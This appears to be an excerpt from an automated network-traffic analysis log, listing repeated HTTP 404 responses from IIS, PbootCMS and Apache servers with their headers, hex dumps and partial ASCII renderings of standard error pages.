Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:40 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:40 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:30 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:41 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:41 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:40 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:30 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:41 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:04:41 GMTServer: ApacheContent-Length: 315Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: 